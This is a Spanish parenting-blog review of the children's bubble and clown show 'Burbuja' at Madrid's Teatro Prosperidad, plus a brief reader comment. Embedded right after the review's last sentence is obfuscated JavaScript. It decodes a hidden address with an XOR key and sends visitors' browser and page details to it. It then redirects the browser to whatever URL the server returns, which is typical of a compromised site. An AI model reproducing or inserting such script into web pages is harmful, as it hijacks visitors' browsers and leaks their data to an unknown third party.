Interactivo, dinámico y sorprendente… Así describiría el espectáculo Burbuja, que cada domingo se representa en el Teatro Prosperidad de Madrid. Los niños, con localidades reservadas en primera fila para su mejor visión, se pasan toda la función emitiendo un sinfin de onomatopeyas, mientras que los adultos nos quedamos perplejos con la sencillez, pero al mismo tiempo calidad de este montaje. ¡Más que recomendable, yo diría que obligatorio!
Hacía tiempo que no iba al teatro y salía con tan buen sabor de boca después de pasar 60 minutos sentada en el patio de butacas. Y hacía tiempo también que no cogía el móvil casi al poco de abandonar el local con la necesidad de escribir en mis tres grupos de madres favoritos -las mamis del cole de Elena, mis compis de postparto y mis socias emprendedoras- unas mini líneas recomendando el espectáculo. Los últimos montajes que había presenciado hasta la fecha me habían llamado la atención por todo lo que se generaba alrededor de ellos, porque a pesar de haber leído buenas críticas no me decepcionaron, o porque tocaban la fibra sensible de los adultos, haciéndonos volver a nuestra infancia. Pero en este caso han sido otros los motivos que me han llevado a sugerir encarecidamente a mi círculo que no deje pasar la oportunidad de ver el montaje de la compañía 7 Bubbles.
Burbuja ya apuntaba maneras. La noche anterior a asistir al espectáculo, tecleé en el ordenador www.teatroprosperidad.com para darle unas pequeñas pistas a Elena de lo que veríamos al día siguiente. Se quedó atónita, perpleja, muda. Más o menos creo que conozco los gustos de mi hija e intuía que encajaría con ella, pero tengo que admitir que me sorprendió tanta sorpresa. Y, así, con las expectativas bastante altas nos plantamos en la calle Mantuano, 28.
Como su propio nombre indica, Burbuja es un espectáculo de burbujas. Y quizás, porque de primeras crees saber lo que te vas a encontrar, impresiona mucho más. Desde una cadena de burbujas que se suceden en una línea hasta dar forma de acordeón, o como mi hija dice, de gusano, pasando por una superposición de pompas de jabón en las que se cuela un cuac-cuac de manera tan sútil que no rasga ni rompe nada. ¡Una maravilla! Sin olvidarnos, por supuesto, de los momentos en los que “asaltan” el escenario los mini-espectadores para convertirse en cómplices de esta maravilla de función, llegando a “colarse” en burbujas de jabón casi hechas a medida para ellos. Pero Burbuja también es un espectáculo de clown, con dos grandes actores como maestros de ceremonias que, con gestos, movimientos y un escueto y particular lenguaje, intercomunican con un respetable que termina regalándoles una merecidísima ovación.
Te animo a que, por supuesto, vayas con tus hijos a ver esta creación de alta calidad. ¡Que comience el espectáculo!var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}
El domingo ocho de enero disfrutamos como niños con las burbujas.
Pasamos un rato tan ameno como divertido,la risa se fundió con el agua, el jabón y ese espectáculo tan maravilloso que solo el brillo de las burbujas saben fabricar.
Enhorabuena a los creadores de esa magia.